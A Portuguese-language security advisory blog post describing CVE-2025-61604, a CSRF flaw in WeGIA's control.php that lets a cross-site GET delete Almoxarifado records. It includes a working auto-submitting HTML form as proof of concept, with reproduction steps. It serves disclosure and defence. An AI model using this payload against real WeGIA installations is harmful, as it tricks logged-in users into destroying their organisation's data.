Featured image of post CVE-2025-61604

CVE-2025-61604

Cross-Site Request Forgery (CSRF)

CVE-2025-61604: Cross-Site Request Forgery (CSRF) na exclusão (GET) da classe AlmoxarifadoControle no endpoint control.php

Publicação CVE: https://www.cve.org/CVERecord?id=CVE-2025-61604

Resumo

Uma vulnerabilidade de Cross-Site Request Forgery (CSRF) foi identificada no aplicativo WeGIA. A operação de exclusão da entidade Almoxarifado é exposta via HTTP GET sem proteção CSRF, permitindo que um site de terceiros acione a ação usando a sessão autenticada da vítima.

PoC

Endpoint vulnerável: GET /WeGIA/controle/control.php

Parâmetros: metodo, nomeClasse e ​​id_almoxarifado

Navegação de nível superior (funciona mesmo com SameSite=Lax)

Hospede o arquivo abaixo de uma origem diferente e abra-o enquanto estiver conectado ao WeGIA (ex: poc_csrf_get.html):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<!doctype html>
<html>
  <body>
    <form id="f" method="GET" action="https://sec.wegia.org:8000/WeGIA/controle/control.php" target="_self">
      <input type="hidden" name="metodo" value="excluir">
      <input type="hidden" name="nomeClasse" value="AlmoxarifadoControle">
      <input type="hidden" name="id_almoxarifado" value="{choose a ID}">
    </form>
    <script>document.getElementById('f').submit();</script>
  </body>
</html>

Etapas para Reproduzir:

  • Faça login no WeGIA com um usuário autorizado a excluir Almoxarifado.
  • De outra origem (por exemplo, http://127.0.0.1:8008), abra o HTML PoC acima.
  • Observe o WeGIA executando o fluxo de exclusão (por exemplo, erro de FK ou exclusão normal), comprovando que uma solicitação entre sites pode acionar a ação.

Impacto

  • Comprometimento da integridade: invasores podem induzir usuários privilegiados a realizar ações destrutivas visitando uma página controlada por eles.
  • Possível perda de dados ou interrupção operacional se IDs não protegidos por restrições de FK forem visados.

Referência

https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-59hm-4m9h-ch3m

Encontrado por

Marcelo Queiroz

By: CVE-Hunters

Built with Hugo
Theme Stack designed by Jimmy